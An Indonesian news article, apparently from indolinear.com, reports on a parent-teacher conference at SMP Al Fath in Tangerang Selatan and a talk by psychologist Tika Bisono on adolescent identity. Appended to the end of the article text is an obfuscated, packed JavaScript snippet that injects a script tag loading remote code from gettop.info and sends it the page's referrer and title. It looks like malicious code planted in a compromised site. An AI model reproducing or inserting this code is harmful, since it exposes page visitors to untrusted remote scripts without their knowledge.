SMP Al Fath Undang Tika Bisono Dalam PTC

indolinear.com
Senin, 28 Agustus 2017
loading...

Indolinear.com, Tangsel – Dalam upaya mengembangkan dan meningkatkan mutu pendidikan khususnya di Kota Tangerang Selatan (Tangsel), SMP Al Fath menggelar Parent Teacher Conference (PTC) dengan mengundang seluruh orangtua murid.

Kegiatan yang didukung oleh Yayasan Al Fath Bina Insan Sakinah tersebut dilaksanakan di SMP Al Fath, Cirendeu, Ciputat Timur, Tangsel pada Sabtu, 26 Agustus 2017.

“Kegiatan ini merupakan ajang komunikasi antara orangtua dan sekolah. Tujuannya untuk pengenalan program-program yang ada di sekolah,” ungkap Kepala SMP Al Fath Cirendeu, Ninik Haryani.

Program tersebut seperti kegiatan belajar mengajar di kelas, membaca ikrar, murojaah, pentas, lomba dan kegiatan lainnya. Sehingga orangtua tahu apa saja yang dilakukan anaknya di sekolah hingga setahun mendatang.

Selain pengenalan program, SMP Al Fath juga mengenalkan guru-guru yang mengajar di sekolah.  Termasuk wali kelas yang bertemu langsung dengan orangtua murid dalam kegiatan tersebut.

Dalam acara yang dihadiri 130 orangtua murid itu juga menampikan bakat-bakat siswa seperti science demo, gitar, baca quran, dan vokal.

SMP Al Fath juga mengundang Psikolog terkenal yakni Tika Bisono, agar orangtua dan pihak sekolah bisa sama-sama belajar bagaimana cara menangani anak-anak.

“Kami berharap dari kegiatan ini akan dapat menghasilkan outcome yang lebih baik. Pihak sekolah maupun orangtua dapat masukan untuk mendidik anak lebih baik lagi,” bebernya.

Menurut Ninik, kegiatan ini merupakan seminar awal, nantinya akan ada seminar-seminar lain ya g dilaksanakan setiap tiga Bulan sekali. Pihaknya ingin orangtua belajar juga, karena dalam rumah tangga, anak-anak tetap tanggung jawab orangtuanya.

Sementara, menurut Tika Bisono, di situasi sekarang masa remaja penuh gejolak persoalan kecemasan, kebingungan yang menyangkut diri sendiri dan lingkungan sosial. Hal ini justru menjadi proses terpenting pendewasaan remaja.

“Masa remaja merupakan masa pencarian identitas diri yang mendorong remaja mengimitasi pola budaya dan nilai-nilai perilaku yang dianggap modern dan progresif,” jelasnya.

Modernisasi dan globalisasi menjanjikan kemajuan bagi kultur manusia sekaligus juga tantangan yang besar tergantung bagaimana remaja bisa menyikapinua secara cerdas. (Sophie)eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))} else {